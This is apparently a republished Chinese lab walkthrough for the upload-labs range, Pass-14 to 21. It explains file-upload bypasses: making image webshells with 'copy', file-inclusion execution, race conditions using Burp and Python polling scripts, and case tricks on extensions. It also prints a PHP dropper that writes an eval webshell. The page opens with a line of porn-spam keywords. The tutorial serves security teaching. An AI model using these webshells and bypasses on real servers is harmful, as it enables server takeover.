国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

這篇具有很好參考價值的文章主要介紹了web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

<制作圖片馬>

制作圖片馬有兩種方法,一種是文本方式打開,末尾粘貼一句話木馬,令一種是使用命令進行合成。

  • 方法1

首先準備好一個圖片(這里是1.png)。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

將一個圖片以文本格式打開(這里用的Notepad++,以記事本方式打開修改也能連接成功,不過修改后圖片無法正常顯示了)。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

后面粘貼上一句話木馬。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

圖片依然可以正常打開。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)
  • 方法2

首先準備好一個圖片(這里是1.png)。

再準備好一個一句話木馬(這里是2.php)。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

打開命令提示符,首先進入上面兩個文件存放的路徑。

cd C:\Users\WYR\Desktop

使用下面的命令進行圖片馬合成。

copy 1.png/b + 2.php/a 3.png
web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)
web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

圖片依然可以正常打開。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

<Pass-14>

提示:
本pass檢查圖標內容開頭2個字節(jié)!

原碼:
function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只讀2字節(jié)
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上傳失??!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}

分析源碼可知此源代碼是驗證前綴(文件頭信息)。

首先將上面創(chuàng)建的圖片馬進行上傳。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

上傳成功。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

右鍵點擊圖片復制圖片路徑。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

點擊“文件包含漏洞”進入測試網(wǎng)頁運行圖片馬中的惡意代碼進行測試。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

在測試網(wǎng)頁內的網(wǎng)址后添加上傳的文件馬的路徑,然后回車運行。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

上半部分是圖片內容,下半部分是一句話木馬返回的內容。

<Pass-15>+getimagesize()函數(shù)

提示:
本pass使用getimagesize()檢查是否為圖片文件!

原碼:
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上傳失??!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}

分析源碼可知存在如下語句進行驗證。

$info = getimagesize($filename);

此語句就是一個檢測,如果上傳的文件是php格式就得不到圖片的尺寸,就會返回錯誤,后面的代碼就無法執(zhí)行,文件就沒辦法成功上傳。

此關同<Pass-14>通關方法一樣,均是將圖片馬上傳之后,結合文件包含漏洞進行繞過,進入測試網(wǎng)頁進行測試后,均可執(zhí)行php后門代碼。


知識補充:

getimagesize()函數(shù)用于獲取圖像大小及相關信息,成功返回一個數(shù)組,失敗則返回 FALSE 并產(chǎn)生一條 E_WARNING 級的錯誤信息。

語法格式:
array getimagesize ( string $filename [, array &$imageinfo ] )

getimagesize() 函數(shù)將測定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 圖像文件的大小并返回圖像的尺寸以及文件類型及圖片高度與寬度。


<Pass-16>+exif_imagetype()函數(shù)

提示:
本pass使用exif_imagetype()檢查是否為圖片文件!

原碼:
function isImage($filename){
    //需要開啟php_exif模塊
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上傳失??!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}

分析源碼可知存在如下語句進行驗證。

$image_type = exif_imagetype($filename);

此語句就是一個檢測,如果上傳的文件是php格式不是圖片,就會返回錯誤,后面的代碼就無法執(zhí)行,文件就沒辦法成功上傳。

此關同<Pass-14>通關方法一樣,均是將圖片馬上傳之后,結合文件包含漏洞進行繞過,進入測試網(wǎng)頁進行測試后,均可執(zhí)行php后門代碼。


知識補充:

exif_imagetype()函數(shù)是PHP中的內置函數(shù),用于確定圖像的類型。

語法格式:
intexif_imagetype( string $filename )

該函數(shù)接受單個參數(shù)$filename,該參數(shù)保存圖像的名稱或URL。


<Pass-17>+imagecreatefrom 系列函數(shù)

提示:
本pass重新渲染了圖片!

原碼:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 獲得上傳文件的基本信息,文件名,類型,大小,臨時文件路徑
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 獲得上傳文件的擴展名
    $fileext= substr(strrchr($filename,"."),1);

    //判斷文件后綴與類型,合法才進行上傳操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "該文件不是jpg格式的圖片!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "該文件不是png格式的圖片!";
                @unlink($target_path);
            }else{
                 //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上傳出錯!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "該文件不是gif格式的圖片!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯!";
        }
    }else{
        $msg = "只允許上傳后綴為.jpg|.png|.gif的圖片文件!";
    }
}

分析源碼可知存在如下語句進行驗證。

$im = imagecreatefromjpeg($target_path);
$im = imagecreatefrompng($target_path);
$im = imagecreatefromgif($target_path);

此關同<Pass-14>通關方法一樣,均是將圖片馬上傳之后,結合文件包含漏洞進行繞過,進入測試網(wǎng)頁進行測試后,均可執(zhí)行php后門代碼。


知識補充:

imagecreatefrom 系列函數(shù)用于從文件或 URL 載入一幅圖像,成功返回圖像資源,失敗則返回一個空字符串。

該系列函數(shù)有:

imagecreatefromgif():創(chuàng)建一塊畫布,并從 GIF 文件或 URL 地址載入一副圖像

imagecreatefromjpeg():創(chuàng)建一塊畫布,并從 JPEG 文件或 URL 地址載入一副圖像

imagecreatefrompng():創(chuàng)建一塊畫布,并從 PNG 文件或 URL 地址載入一副圖像

imagecreatefromwbmp():創(chuàng)建一塊畫布,并從 WBMP 文件或 URL 地址載入一副圖像

imagecreatefromstring():創(chuàng)建一塊畫布,并從字符串中的圖像流新建一副圖像

語法格式:
resource imagecreatefromgif(string filename)
resource imagecreatefromjpeg(string filename)
resource imagecreatefrompng(string filename)
resource imagecreatefromwbmp(string filename)
resource imagecreatefromstring(string image)

<Pass-18>+move_uploaded_file()函數(shù)

提示:
需要代碼審計!

原碼:
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允許上傳.jpg|.png|.gif類型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上傳出錯!';
    }
}

此關涉及到了二次渲染的知識,比如我們平時在進行文件上傳時,在我們上傳文件后,網(wǎng)站會對圖片進行二次處理(格式、尺寸、保存、刪除要求等),服務器會把里面的內容進行替換更新,處理完成后,根據(jù)我們原有的圖片生成一個新的圖片(標準化)并放到網(wǎng)站對應的標簽進行顯示。

而二次渲染可能會存在邏輯漏洞,就是它驗證的地方是在第一步還是在第二步。

還涉及到條件競爭的知識,我們在日常生活里使用電腦可以發(fā)現(xiàn),如果文件正在被使用或者查看,就無法對文件進行刪除或者文件名修改等操作。

此關先創(chuàng)建了一個只包含圖片文件的白名單,隨后提取出文件的后綴名,將文件移動至上傳目錄后才判斷文件是否合法,不合法就刪除。

因此可以利用這兩點,不停且迅速地上傳、訪問文件(可以使用使用BURP和Python腳本來實現(xiàn)),網(wǎng)站的代碼就不能完成對上傳文件的名稱的修改,可以利用這一點防止php后綴被更改導致php代碼不能正常運行。

操作流程:

Python腳本(可用可不用,可以手動進行):
import requests
url="http://127.0.0.1/upload-labs/upload/shell.php"
while True:
    web_result=requests.get(url)
    if web_result.status_code == 200:
        print("Success")
        break
    else:
        print("Failed")
2.php內容:
<?php phpinfo();?>

上傳一句話木馬文件后使用BURP抓包,右鍵數(shù)據(jù)包后,點擊“Send to Intruder”發(fā)送至“Intruder”(或者使用鍵盤的Ctrl+I鍵)。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)
web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

點擊“Intruder”后點擊“Positions”,然后點擊“Clear”。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

點擊“Payloads”后,設置“Payload type”為“Null payloads”,設置“Payload Options”為“Continue indefinitely”。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

進行完上面設置后,點擊“Start attack”來開始不斷上傳該文件。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

此時如果查看“upload”目錄可以看到一句話木馬文件會不斷出現(xiàn)、消失、出現(xiàn)、消失...

然后可以選擇運行腳本來不斷訪問該文件,也可以打開另一個瀏覽器輸入文件路徑后手動對文件進行訪問。

這里展示手動訪問,不斷刷新網(wǎng)頁后到某一時刻可以成功得到一句話木馬執(zhí)行后返回的頁面。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

知識補充:

move_uploaded_file() 函數(shù)把上傳的文件移動到新位置。

如果成功該函數(shù)返回 TRUE,如果失敗則返回 FALSE。

語法格式:
move_uploaded_file(file,newloc)

參數(shù)

描述

file

必需。規(guī)定要移動的文件。

newloc

必需。規(guī)定文件的新位置。

提示和注釋:

注釋1:該函數(shù)僅用于通過 HTTP POST 上傳的文件。

注釋2:如果目標文件已經(jīng)存在,將會被覆蓋。


<Pass-19>

提示:
需要代碼審計!

原碼:
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已經(jīng)被上傳,但沒有重命名。';
            break; 
        case -1:
            $msg = '這個文件不能上傳到服務器的臨時文件存儲目錄。';
            break; 
        case -2:
            $msg = '上傳失敗,上傳目錄不可寫。';
            break; 
        case -3:
            $msg = '上傳失敗,無法上傳該類型文件。';
            break; 
        case -4:
            $msg = '上傳失敗,上傳的文件過大。';
            break; 
        case -5:
            $msg = '上傳失敗,服務器已經(jīng)存在相同名稱文件。';
            break; 
        case -6:
            $msg = '文件無法上傳,文件不能復制到目標目錄。';
            break;      
        default:
            $msg = '未知錯誤!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

此關和前一關非常類似,但是Pass-19進行了一個文件名過濾,因此php后綴文件就無法上傳了,只能上傳圖片馬,然后結合“文件包含漏洞”進行繞過。

上傳文件后,進行白名單檢測,移動文件,然后進行重命名。

將文件上傳后,對文件重新命名時,同樣存在條件競爭的漏洞??梢岳?lt;Pass-18>類似方法進行繞過,但是此時訪問的地址就是文件包含的那個地址了。

操作流程:

Python腳本(可用可不用,可以手動進行):
import requests
url = "http://127.0.0.1/upload-labs/include.php?file=upload/pass19.png"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break
2.php內容:
<?php phpinfo();?>

補充:
<?php fputs(fopen('Muma.php','w'),'<?php @eval($_POST["Muma"])?>');?>

此關文件上傳的路徑與前面掛卡的路徑不一樣,在網(wǎng)站的根目錄,為了更加方便,將文件路徑仍然改到“upload”下。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

上傳一句話木馬文件后使用BURP抓包,右鍵數(shù)據(jù)包后,點擊“Send to Intruder”發(fā)送至“Intruder”(或者使用鍵盤的Ctrl+I鍵)。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)
web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

點擊“Intruder”后點擊“Positions”,然后點擊“Clear”。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

點擊“Payloads”后,設置“Payload type”為“Null payloads”,設置“Payload Options”為“Continue indefinitely”。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

進行完上面設置后,點擊“Start attack”來開始不斷上傳該文件。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

然后可以選擇運行腳本來不斷訪問該文件,也可以打開另一個瀏覽器輸入文件路徑后手動對文件進行訪問。

這里展示手動訪問,不斷刷新網(wǎng)頁后到某一時刻可以成功得到一句話木馬執(zhí)行后返回的頁面,上半部分是圖片內容,下半部分是一句話木馬執(zhí)行后返回的內容。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

<Pass-20>

提示:
本pass的取文件名通過$_POST來獲取。

原碼:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上傳出錯!';
            }
        }else{
            $msg = '禁止保存為該類型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

此關只對保存的文件后綴進行了黑名單檢測,未對上傳的文件類型做什么判斷,其它防護全部沒做。所以我們可以有多種方法進行繞過,這里將一種方法。

分析原碼可以看出這些黑名單都是小寫的形式,也就是說我們完全可以上傳一個一句話木馬然后將其”保存名稱”修改為“.PHP”(改為“.php/.”也可以)后綴即可繞過。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

點擊上傳后發(fā)現(xiàn)成功進行了繞過。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

訪問發(fā)現(xiàn)代碼可以正常執(zhí)行。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

<Pass-21>

提示:
Pass-20來源于CTF,請審計代碼!

原碼:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //檢查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上傳該類型文件!";
    }else{
        //檢查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上傳該后綴文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上傳成功!";
                $is_upload = true;
            } else {
                $msg = "文件上傳失敗!";
            }
        }
    }
}else{
    $msg = "請選擇要上傳的文件!";
}

此關存在多重驗證。

首先進行白名單驗證MIME類型。

然后判斷save_name參數(shù)是否為空,如果為空就把文件本來的名稱賦值給“$file”,如果不為空就將“save_name”參數(shù)的值賦給它。

接下來判斷“$file”是否是數(shù)組。

如果不是數(shù)組則將其拆分成數(shù)組,然后使用“end()函數(shù)”取出數(shù)組最后一個的值,取出后同白名單做比較,如果與“$allow_suffix”中的后綴匹配,就允許繼續(xù)上傳。

之后代碼會將數(shù)組的值拼接在一起對文件進行重命名。

操作流程:

首先選中要上傳的一句話木馬文件“2.jpg”。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

點擊上傳使用BURP抓包。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

將數(shù)據(jù)包修改為如下樣式。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

點擊放包后可以在網(wǎng)頁內看到文件成功上傳了。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

訪問文件地址可以看到一句話木馬成功執(zhí)行了。

web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

至此upload-labs靶場全部關卡通關教程已結束

其它關卡可以參照前兩篇文章文章來源地址http://www.zghlxwxcb.cn/news/detail-464495.html


到了這里,關于web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。如若轉載,請注明出處: 如若內容造成侵權/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領支付寶紅包贊助服務器費用

相關文章

  • Web安全之文件上傳漏洞詳解

    Web安全之文件上傳漏洞詳解

    文件上傳漏洞是指用戶上傳了一個可執(zhí)行的腳本文件,并通過此腳本文件獲得了執(zhí)行服務器端命令的能力。這種攻擊方式是最為直接和有效的,“文件上傳”本身沒有問題,有問題的是文件上傳后,服務器怎么處理、解釋文件。如果服務器的處理邏輯做的不夠安全,則會導致

    2024年02月13日
    瀏覽(27)
  • Web 安全之文件上傳漏洞詳解

    目錄 文件上傳漏洞的類型 文件上傳的攻擊方式 文件上傳漏洞影響 防護措施 小結 文件上傳漏洞是網(wǎng)絡安全中的常見問題,通常發(fā)生在網(wǎng)站或應用程序允許用戶上傳文件到服務器的場景。這類漏洞如果被攻擊者利用,可能導致數(shù)據(jù)泄露、非法文件分發(fā)、服務器入侵甚至整個系

    2024年02月04日
    瀏覽(31)
  • Web安全:文件上傳漏洞測試(防止 黑客利用此漏洞.)

    Web安全:文件上傳漏洞測試(防止 黑客利用此漏洞.)

    現(xiàn)在大多的網(wǎng)站和Web應用系統(tǒng)都會有上傳功能(比如:文檔,圖片,頭像,視頻上傳等.),而程序員在開發(fā)文件上傳功能時,沒有對代碼做嚴格校驗上傳文件的后綴和文件類型,此時攻擊者就可以上傳一個與網(wǎng)站腳本語言相對應的惡意代碼動態(tài)腳本,例如(php,jsp、aspx,asp文

    2024年02月11日
    瀏覽(27)
  • 23 WEB漏洞-文件上傳之解析漏洞編輯器安全

    各個WEB編輯器安全講解 https://navisec.it/編輯器漏洞手冊/ 各個CMS文件上傳簡要講解 wordpress,phpcms, 參考共享的中間件漏洞PDF IIS6/7簡要說明-本地搭建 Apache配置安全–vulhub Apache解析漏洞-低版本 利用場景: 如果對方中間件apache屬于低版本,我們可以利用文件上傳,上傳一個不識

    2024年02月11日
    瀏覽(31)
  • 《WEB安全漏洞30講》(第5講)任意文件上傳漏洞

    《WEB安全漏洞30講》(第5講)任意文件上傳漏洞

    文件上傳漏洞,指攻擊者利用程序缺陷繞過系統(tǒng)對文件的驗證與處理策略將惡意程序上傳到服務器并獲得執(zhí)行服務器端命令的能力。 這個漏洞其實非常簡單,就是攻擊者給服務器上傳了惡意的木馬程序,然后利用此木馬程序執(zhí)行操作系統(tǒng)命令,從而獲得服務器權限,造成嚴重

    2024年02月12日
    瀏覽(23)
  • 小迪安全33WEB 攻防-通用漏洞&文件上傳&中間件解析漏洞&編輯器安全

    小迪安全33WEB 攻防-通用漏洞&文件上傳&中間件解析漏洞&編輯器安全

    # 知識點: 1 、中間件安全問題 2 、中間件文件上傳解析 3 、 Web 應用編輯器上傳 編輯器也就是第三方插件,一般都是文件上傳漏洞 # 詳細點: 1 、檢測層面:前端,后端等 2 、檢測內容:文件頭,完整性,二次渲染等 3 、檢測后綴:黑名單,白名單, MIME 檢測等 4 、繞過技

    2024年03月16日
    瀏覽(32)
  • 24 WEB漏洞-文件上傳之WAF繞過及安全修復

    24 WEB漏洞-文件上傳之WAF繞過及安全修復

    safedog BT(寶塔) XXX云盾 寶塔過濾的比安全狗厲害一些,在真實情況下現(xiàn)在很多網(wǎng)站都是用寶塔 Content-Disposition: 表單數(shù)據(jù),一般可更改 name:表單參數(shù)值,不能更改,改完之后,數(shù)據(jù)包是有問題的,跟前端的表單值會對不上,這樣后端會無法判斷你上傳的地方,如果要更改,那

    2024年02月10日
    瀏覽(21)
  • 33、WEB攻防——通用漏洞&文件上傳&中間件解析漏洞&編輯器安全

    33、WEB攻防——通用漏洞&文件上傳&中間件解析漏洞&編輯器安全

    IIS爆過漏洞的版本:IIS6.0(windows server 2003)、IIS7.0和IIS7.5(windows server 2008) IIS6.0解析漏洞: 文件名:x.asp;x.jpg,jpg的文件后綴名,但是會被解析為asp文件; 目錄名:x.asp/x.jpg, 文件目錄名含有.asp后綴,x.jpg也會被解析為asp文件。 觸發(fā)條件: IIS6.0這個中間件; 上傳文件能不

    2024年01月24日
    瀏覽(31)
  • 一級必殺,防不勝防的漏洞,WEB安全基礎入門—文件上傳漏洞

    一級必殺,防不勝防的漏洞,WEB安全基礎入門—文件上傳漏洞

    歡迎關注訂閱專欄! WEB安全系列包括如下三個專欄: 《WEB安全基礎-服務器端漏洞》 《WEB安全基礎-客戶端漏洞》 《WEB安全高級-綜合利用》 知識點全面細致,邏輯清晰、結合實戰(zhàn),并配有大量練習靶場,讓你讀一篇、練一篇,掌握一篇,在學習路上事半功倍,少走彎路! 歡

    2024年01月18日
    瀏覽(18)
  • [網(wǎng)絡安全] Windows Server 設置文件屏蔽防止黑客利用漏洞上傳特定類型的非法文件(.asp .aspx .jsp .php)

    [網(wǎng)絡安全] Windows Server 設置文件屏蔽防止黑客利用漏洞上傳特定類型的非法文件(.asp .aspx .jsp .php)

    [網(wǎng)絡安全] Windows Server 設置文件屏蔽防止黑客利用文件上傳漏洞上傳特定類型的非法文件(.asp .aspx .jsp .php) 我在負責網(wǎng)站運維期間,遇到過一次黑客利用公司網(wǎng)站內使用的開源文件上傳工具漏洞上傳非法文件(可執(zhí)行腳本) 我是通過設置文件屏蔽來防止此類事件的再次發(fā)生。

    2024年02月12日
    瀏覽(24)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領取紅包,優(yōu)惠每天領

二維碼1

領取紅包

二維碼2

領紅包